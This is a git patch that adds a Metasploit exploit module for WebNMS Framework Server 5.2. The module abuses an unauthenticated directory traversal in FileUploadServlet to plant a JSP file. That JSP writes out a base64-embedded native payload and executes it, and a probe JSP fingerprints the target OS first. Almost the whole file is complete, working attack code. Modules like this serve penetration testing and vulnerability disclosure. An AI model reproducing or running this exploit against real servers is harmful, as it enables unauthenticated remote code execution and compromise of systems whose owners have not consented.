From eeba35f87ad00a3ac44d2e4be57aad937664cd36 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Mon, 4 Jul 2016 21:07:03 +0100 Subject: [PATCH] Create file for WebNMS 5.2 remote code execution --- .../exploits/multi/http/webnms_file_upload.rb | 224 ++++++++++++++++++ 1 file changed, 224 insertions(+) create mode 100644 modules/exploits/multi/http/webnms_file_upload.rb diff --git a/modules/exploits/multi/http/webnms_file_upload.rb b/modules/exploits/multi/http/webnms_file_upload.rb new file mode 100644 index 0000000000..9fa9806399 --- /dev/null +++ b/modules/exploits/multi/http/webnms_file_upload.rb @@ -0,0 +1,224 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WebNMS Framework Server Arbitrary File Upload', + 'Description' => %q{ +This module abuses a vulnerability in WebNMS Framework Server 5.2 that allows an +unauthenticated user to upload text files by using a directory traversal attack +on the FileUploadServlet servlet. A JSP file can be uploaded that then drops and +executes a malicious payload, achieving code execution under the user which the +WebNMS server is running. +This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on +Windows and Linux. +}, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ] + ], + 'DefaultOptions' => { 'WfsDelay' => 15 }, + 'Privileged' => false, + 'Platform' => %w{ linux win }, + 'Targets' => + [ + [ 'Automatic', { } ], + [ 'WebNMS Framework Server 5.2 / 5.2 SP1 - Linux', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86 + } + ], + [ 'WebNMS Framework Server 5.2 / 5.2 SP1 - Windows', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86 + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 4 2016')) + + register_options( + [ + OptPort.new('RPORT', [true, 'The target port', 9090]), + OptString.new('TARGETURI', [ true, "WebNMS path", '/']) + ], self.class) + end + + + def check + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'servlets', 'FileUploadServlet'), + 'method' => 'GET' + }) + if res && res.code == 405 + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Unknown + end + end + + + def upload_payload(payload, is_exploit) + jsp_name = 'WebStart-' + rand_text_alpha(rand(8) + 3) + '.jsp' + if is_exploit + print_status("#{peer} - Uploading payload...") + end + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'servlets', 'FileUploadServlet'), + 'method' => 'POST', + 'data' => payload.to_s, + 'ctype' => 'text/html', + 'vars_get' => { 'fileName' => '../jsp/' + jsp_name } + }) + + if res && res.code == 200 && res.body.to_s =~ /Successfully written polleddata file/ + if is_exploit + print_status("#{peer} - Payload uploaded successfully") + end + return jsp_name + else + return nil + end + end + + + def pick_target + return target if target.name != 'Automatic' + + print_status("#{peer} - Determining target") + os_finder_payload = %Q{<%out.println(System.getProperty("os.name"));%>} + jsp_name = upload_payload(os_finder_payload, false) + + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'jsp', jsp_name), + 'method' => 'GET' + }) + + if res && res.code == 200 + register_files_for_cleanup('jsp/' + jsp_name) + if res.body.to_s =~ /Linux/ + return targets[1] + elsif res.body.to_s =~ /Windows/ + return targets[2] + end + end + + return nil + end + + + def generate_jsp_payload + opts = {:arch => @my_target.arch, :platform => @my_target.platform} + payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch) + exe = generate_payload_exe(opts) + base64_exe = Rex::Text.encode_base64(exe) + + native_payload_name = rand_text_alpha(rand(6)+3) + ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin' + + var_raw = rand_text_alpha(rand(8) + 3) + var_ostream = rand_text_alpha(rand(8) + 3) + var_buf = rand_text_alpha(rand(8) + 3) + var_decoder = rand_text_alpha(rand(8) + 3) + var_tmp = rand_text_alpha(rand(8) + 3) + var_path = rand_text_alpha(rand(8) + 3) + var_proc2 = rand_text_alpha(rand(8) + 3) + + if @my_target['Platform'] == 'linux' + var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) + chmod = %Q| + Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path}); + Thread.sleep(200); + | + + var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) + cleanup = %Q| + Thread.sleep(200); + Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path}); + | + else + chmod = '' + cleanup = '' + end + + jsp = %Q| + <%@page import="java.io.*"%> + <%@page import="sun.misc.BASE64Decoder"%> + <% + try { + String #{var_buf} = "#{base64_exe}"; + BASE64Decoder #{var_decoder} = new BASE64Decoder(); + byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); + + File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}"); + String #{var_path} = #{var_tmp}.getAbsolutePath(); + + BufferedOutputStream #{var_ostream} = + new BufferedOutputStream(new FileOutputStream(#{var_path})); + #{var_ostream}.write(#{var_raw}); + #{var_ostream}.close(); + #{chmod} + Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path}); + #{cleanup} + } catch (Exception e) { + } + %> + | + + jsp = jsp.gsub(/\n/, '') + jsp = jsp.gsub(/\t/, '') + jsp = jsp.gsub(/\x0d\x0a/, "") + jsp = jsp.gsub(/\x0a/, "") + + return jsp + end + + + def exploit + @my_target = pick_target + if @my_target.nil? + print_error("#{peer} - Unable to select a target, we must bail.") + return + else + print_status("#{peer} - Selected target #{@my_target.name}") + end + + # When using auto targeting, MSF selects the Windows meterpreter as the default payload. + # Fail if this is the case and ask the user to select an appropriate payload. + if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/ + fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.") + end + + jsp_payload = generate_jsp_payload + jsp_name = upload_payload(jsp_payload, true) + if jsp_name == nil + fail_with(Failure::Unknown, "#{peer} - Payload upload failed") + else + register_files_for_cleanup('jsp/' + jsp_name) + end + + print_status("#{peer} - Executing payload...") + send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'jsp', jsp_name), + 'method' => 'GET' + }) + end +end